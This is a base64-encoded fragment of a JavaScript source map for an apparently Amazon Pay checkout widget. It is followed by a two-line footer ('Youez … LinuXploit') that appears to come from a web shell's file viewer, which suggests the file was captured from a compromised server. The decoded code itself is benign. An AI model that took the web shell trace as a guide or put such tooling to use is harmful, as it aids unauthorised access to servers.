ICAgICAkKCcjJyArIG9wdGlvbnMucGxhY2Vob2xkZXJJZCkuY3NzKCdoZWlnaHQnLCAnMjVlbScpLmNzcygnbWFyZ2luLWJvdHRvbScsICcxZW0nKTtcbiAgICAgICAgICAgIGlmIChvcHRpb25zLnJlYWRvbmx5QWRkcmVzc2Jvb2spIHtcbiAgICAgICAgICAgICAgICAkKCcjJyArIG9wdGlvbnMucmVhZG9ubHlBZGRyZXNzYm9vaykuY3NzKCdoZWlnaHQnLCAnMTVlbScpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgaWYgKG9wdGlvbnMucmVhZG9ubHlXYWxsZXQpIHtcbiAgICAgICAgICAgICAgICAkKCcjJyArIG9wdGlvbnMucmVhZG9ubHlXYWxsZXQpLmNzcygnaGVpZ2h0JywgJzE1ZW0nKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICB9O1xuICAgICAgICAkKCdib2R5JykuYXBwZW5kKCQoJzxzY3JpcHQgc3JjPVwiJyArIG9wdGlvbnMud2lkZ2V0c1NyYyArICdcIiBhc3luYz48L3NjcmlwdD4nKSk7XG5cbiAgICAgICAgaWYgKG9wdGlvbnMubW9kZSA9PT0gJ2FkZHJlc3Nib29rJykge1xuICAgICAgICAgICAgJGNvdW50cnlOb3RBbGxvd2VkID0gJCgnPGRpdiBjbGFzcz1cImFtemFkdnBheV9jb3VudHJ5bm90YWxsb3dlZFwiIHN0eWxlPVwiZGlzcGxheTogbm9uZTtcIj4nICsgb3B0aW9ucy5jb3VudHJ5dHh0ICsgJzwvZGl2PicpO1xuICAgICAgICAgICAgJCgnIycgKyBvcHRpb25zLnBsYWNlaG9sZGVySWQpLmFmdGVyKCRjb3VudHJ5Tm90QWxsb3dlZCk7XG4gICAgICAgIH1cblxuICAgICAgICBkb25lKCk7XG4gICAgfTtcblxuICAgIC8vIFJldHVybiBkYXRhIHRvIHdpZGdldCBlbmdpbmVcbiAgICByZXR1cm4gbW9kdWxlO1xufSk7XG5cblxuIl19

Youez - 2016 - github.com/yon3zu
LinuXploit